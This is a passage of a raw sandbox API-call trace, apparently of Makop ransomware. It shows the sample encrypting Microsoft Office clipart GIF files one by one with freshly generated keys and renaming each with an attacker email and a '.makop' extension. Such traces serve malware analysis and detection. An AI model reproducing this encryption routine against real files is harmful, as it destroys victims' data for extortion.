nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.188] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.189] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.189] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.189] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.189] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x581, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x581, lpOverlapped=0x0) returned 1 [0156.189] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x590, dwBufLen=0x590 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x590) returned 1 [0156.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.189] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x590, lpOverlapped=0x0) returned 1 [0156.190] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.190] SetEndOfFile (hFile=0x130) returned 1 [0156.196] GetProcessHeap () returned 0x48a0000 [0156.196] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.196] GetProcessHeap () returned 0x48a0000 [0156.196] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.196] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.196] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.198] CloseHandle (hObject=0x130) returned 1 [0156.198] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0156.198] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF") returned 76 [0156.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.200] GetProcessHeap () returned 0x48a0000 [0156.200] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.200] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.201] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0156.205] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.205] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.205] GetProcessHeap () returned 0x48a0000 [0156.205] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.205] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.205] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.205] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.206] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.206] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.206] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.206] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.206] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.206] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.207] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15fa, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x15fa, lpOverlapped=0x0) returned 1 [0156.208] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1600, dwBufLen=0x1600 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1600) returned 1 [0156.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.208] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1600, lpOverlapped=0x0) returned 1 [0156.209] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.209] SetEndOfFile (hFile=0x130) returned 1 [0156.218] GetProcessHeap () returned 0x48a0000 [0156.218] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.218] GetProcessHeap () returned 0x48a0000 [0156.218] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.218] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.220] CloseHandle (hObject=0x130) returned 1 [0156.220] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1 [0156.220] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF") returned 76 [0156.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.223] GetProcessHeap () returned 0x48a0000 [0156.223] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.223] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.223] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0156.226] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.226] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.226] GetProcessHeap () returned 0x48a0000 [0156.226] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.227] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.227] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.227] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.227] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.227] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.227] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.228] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.228] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.228] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.228] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3ef, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x3ef, lpOverlapped=0x0) returned 1 [0156.228] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x3f0, dwBufLen=0x3f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x3f0) returned 1 [0156.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.228] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x3f0, lpOverlapped=0x0) returned 1 [0156.228] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.229] SetEndOfFile (hFile=0x130) returned 1 [0156.236] GetProcessHeap () returned 0x48a0000 [0156.236] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.236] GetProcessHeap () returned 0x48a0000 [0156.236] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.236] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.236] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.240] CloseHandle (hObject=0x130) returned 1 [0156.240] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1 [0156.241] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF") returned 76 [0156.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.242] GetProcessHeap () returned 0x48a0000 [0156.242] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.242] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.242] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0156.262] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.262] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.262] GetProcessHeap () returned 0x48a0000 [0156.262] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.262] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.262] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.262] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.262] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.262] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.263] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.263] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.263] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.263] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.263] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x97f, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x97f, lpOverlapped=0x0) returned 1 [0156.263] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x980, dwBufLen=0x980 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x980) returned 1 [0156.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.264] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x980, lpOverlapped=0x0) returned 1 [0156.264] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.264] SetEndOfFile (hFile=0x130) returned 1 [0156.271] GetProcessHeap () returned 0x48a0000 [0156.271] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.271] GetProcessHeap () returned 0x48a0000 [0156.271] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.271] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.271] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.273] CloseHandle (hObject=0x130) returned 1 [0156.273] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1 [0156.274] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF") returned 76 [0156.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.275] GetProcessHeap () returned 0x48a0000 [0156.275] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.275] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.275] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0156.437] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.437] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.437] GetProcessHeap () returned 0x48a0000 [0156.437] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.437] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.438] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.438] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, 